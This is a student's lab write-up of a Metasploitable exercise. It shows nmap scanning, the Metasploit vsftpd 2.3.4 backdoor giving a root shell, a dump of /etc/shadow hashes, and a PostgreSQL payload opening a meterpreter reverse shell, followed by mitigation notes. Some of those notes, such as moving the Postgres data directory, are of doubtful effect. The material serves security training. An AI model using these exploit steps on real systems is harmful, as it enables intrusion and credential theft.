Exercise Metasploitable VM

1. Introduction

> - Start the Attacker Web Shell (see RESOURCES)
> - Use Metasploit against the vulnerable system called I love shells (see RESOURCES)
> - Find open ports on vulnerable system
> - Identify running services and version on vulnerable system
> - Find Metasploit exploit modules targeting the vulnerable services/versions/misconfigurations
> - Use Metasploit exploit modules in order to gain access to the vulnerable system (e.g. using a reverse shell payload)
> - Interact with session (reverse shell) in order to explore the compromised system

2. Answers

First I'll ping my target to get the `ip address`

```
┌──(root㉿e74a20d0-6163-42f8-afcc-1c9fe529f140)-[~]
└─# ping iloveshells.vm.vuln.land
PING c6c5e14f-6954-4e31-bb1c-a944b397df7f.vm.vuln.land (152.96.6.240) 56(84) bytes of data.
64 bytes from c6c5e14f-6954-4e31-bb1c-a944b397df7f.vm.vuln.land (152.96.6.240): icmp_seq=1 ttl=63 time=0.556 ms
64 bytes from c6c5e14f-6954-4e31-bb1c-a944b397df7f.vm.vuln.land (152.96.6.240): icmp_seq=2 ttl=63 time=0.503 ms
64 bytes from c6c5e14f-6954-4e31-bb1c-a944b397df7f.vm.vuln.land (152.96.6.240): icmp_seq=3 ttl=63 time=0.411 ms
64 bytes from c6c5e14f-6954-4e31-bb1c-a944b397df7f.vm.vuln.land (152.96.6.240): icmp_seq=4 ttl=63 time=0.498 ms
64 bytes from c6c5e14f-6954-4e31-bb1c-a944b397df7f.vm.vuln.land (152.96.6.240): icmp_seq=5 ttl=63 time=0.509 ms
64 bytes from c6c5e14f-6954-4e31-bb1c-a944b397df7f.vm.vuln.land (152.96.6.240): icmp_seq=6 ttl=63 time=0.425 ms
64 bytes from c6c5e14f-6954-4e31-bb1c-a944b397df7f.vm.vuln.land (152.96.6.240): icmp_seq=7 ttl=63 time=0.541 ms
^C
--- c6c5e14f-6954-4e31-bb1c-a944b397df7f.vm.vuln.land ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6010ms
rtt min/avg/max/mdev = 0.411/0.491/0.556/0.050 ms
```

target host ip is: `152.96.6.240`

Next I'll do a nmap scan to detect services an OS version:

`nmap -sV -O 152.96.6.240`

```
┌──(root㉿e74a20d0-6163-42f8-afcc-1c9fe529f140)-[~]
└─# nmap -sV -O 152.96.6.240
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-27 13:25 UTC
Nmap scan report for c6c5e14f-6954-4e31-bb1c-a944b397df7f.vm.vuln.land (152.96.6.240)
Host is up (0.00056s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Bash shell (**BACKDOOR**; root shell)
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.15 - 2.6.26 (likely embedded), Linux 2.6.20 - 2.6.24 (Ubuntu 7.04 - 8.04)
Network Distance: 2 hops
Service Info: Hosts:  metasploitable.localdomain, c6c5e14f-6954-4e31-bb1c-a944b397df7f, irc.Metasploitable.LAN;
```

There are many services to exploit. In my solution I'll target the `vsftpd 2.3.4` service. For a further example with the `meterpreter shell` I'll also exploit the `postgresql` service.

2.1 Exploit vsftpd service

Starting metasploit by using the `msfconsole` command.

```
search exploit vsftpd
```

```
msf6 > search exploit vsftpd 2.3.4

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor
```

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 152.96.6.240
rhost => 152.96.6.240
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

```
set rhost 152.96.6.240
```

```
show options
```

(I'll use the default payload)

```
exploit
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 152.96.6.240:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 152.96.6.240:21 - USER: 331 Please specify the password.
[+] 152.96.6.240:21 - Backdoor service has been spawned, handling...
[+] 152.96.6.240:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 152.96.6.240:6200) at 2020-11-27 13:34:47 +0000

whoami
root
hostname
c6c5e14f-6954-4e31-bb1c-a944b397df7f
pwd
/
```

I've a root shell on the target

```
cat /etc/shadow
```

```
cat /etc/shadow
root:$1$49/eUQdD$oLZwH8WnrNQG0iUEVLilR0:18587:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
```

2.2 Exploit postgre sql service

```
search postgre
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > search postgre

Matching Modules
================

   #   Name                                                  Disclosure Date  Rank
   -   ----                                                  ---------------  ----
   0   auxiliary/admin/http/manageengine_pmp_privesc         2014-11-08       normal
   1   auxiliary/admin/http/rails_devise_pass_reset          2013-01-28       normal
   2   auxiliary/admin/postgres/postgres_readfile                             normal
   3   auxiliary/admin/postgres/postgres_sql                                  normal
   4   auxiliary/analyze/crack_databases                                      normal
   5   auxiliary/scanner/postgres/postgres_dbname_flag_injection              normal
   6   auxiliary/scanner/postgres/postgres_hashdump                           normal
   7   auxiliary/scanner/postgres/postgres_login                              normal
   8   auxiliary/scanner/postgres/postgres_schemadump                         normal
   9   auxiliary/scanner/postgres/postgres_version                            normal
   10  auxiliary/server/capture/postgresql                                    normal
   11  exploit/linux/postgres/postgres_payload               2007-06-05       excellent
   12  exploit/multi/http/manage_engine_dc_pmp_sqli          2014-06-08       excellent
   13  exploit/multi/postgres/postgres_copy_from_program_cmd_exec  2019-03-20  excellent
   14  exploit/multi/postgres/postgres_createlang            2016-01-01       good
   15  exploit/windows/misc/manageengine_eventlog_analyzer_rce  2015-07-11     manual
   16  exploit/windows/postgres/postgres_payload             2009-04-10       excellent
   17  post/linux/gather/enum_users_history                                   normal
```

```
use /exploit/linux/postgres/postgres_payload
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/linux/postgres/postgres_payload
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/postgres/postgres_payload) >
```

```
set rhost 152.96.6.240
```

```
msf6 exploit(linux/postgres/postgres_payload) > set rhost 152.96.6.240
rhost => 152.96.6.240
msf6 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 152.96.7.8:4444
[*] 152.96.6.240:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/pTFivllc.so, should be cleaned up automatically
[*] Sending stage (976712 bytes) to 152.96.6.240
[*] Meterpreter session 2 opened (152.96.7.8:4444 -> 152.96.6.240:56152) at 2020-11-27 14:07:27 +0000

meterpreter > help
```

```
meterpreter > shell
Process 2434 created.
Channel 1 created.
pwd
/var/lib/postgresql/8.3/main
whoami
postgres
```

3. Mitigation

3.1 Vsftpd Service 😃

> The version of vsftpd running on the remote host has been compiled with a backdoor. Attempting to login with a username containing `:)` (a smiley face) triggers the backdoor, which results in a shell

> listening on TCP port 6200. The shell stops listening after a client connects to and disconnects from it.

An unauthenticated, remote attacker could exploit this to execute arbitrary code as root.

Use latest version from vendors site: `https://security.appspot.com/vsftpd.html`
(V.3.03 Seems to be outdated) --> Last release July 2015

Besides the fact that vsftpd is on version 3.0.3 now and the obvious patch would be to update it, I wanted to know how to patch it just for the version we had. For this patch, you need to go into the vsftpd config file located in /etc/vsftpd.conf and disable anonymous upload for the FTP service.

```
#
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
anon_upload_enable=NO
```

This alone is not enough for the exploit to not work; the reason being is that if you read the write up on the backdoor here, you notice that the attacker is able to log in as `:)` for the username and listen on port 6200. A hardening technique for this particular case is to set up iptables to drop listening on unused ports:

```
root@metasploitable:/etc# iptables -A INPUT -p tcp --dport 6200 -j DROP
root@metasploitable:/etc# iptables -A INPUT -p udp --dport 6200 -j DROP
root@metasploitable:/etc#
```

Another approach would be to use an alternative secure ftp service like `sftp` which belongs to the `open-ssh server`.

3.2 Postgre SQL

The exploit worked because `PostGres` is set up to write to the **default directory** which means that the fix is to change the directory from the default so that the payload won't work. The config file can be found in `/etc/postgresql/8.3/main/postgresql.conf`. The default directory is `/var/lib/postgresql/8.3/main` so you can change it to whatever you like. Just made sure that the new directory exists, because writing it in the config file alone is not enough. Metasploitable also needs to be rebooted to apply the changes.

```
#------------------------------------------------------------------------------
# FILE LOCATIONS
#------------------------------------------------------------------------------

# The default values of these variables are driven from the -D command-line
# option or PGDATA environment variable, represented here as ConfigDir.

data_directory = '/var/lib/postgresql/8.3/datadir'
                                        # (change requires restart)
```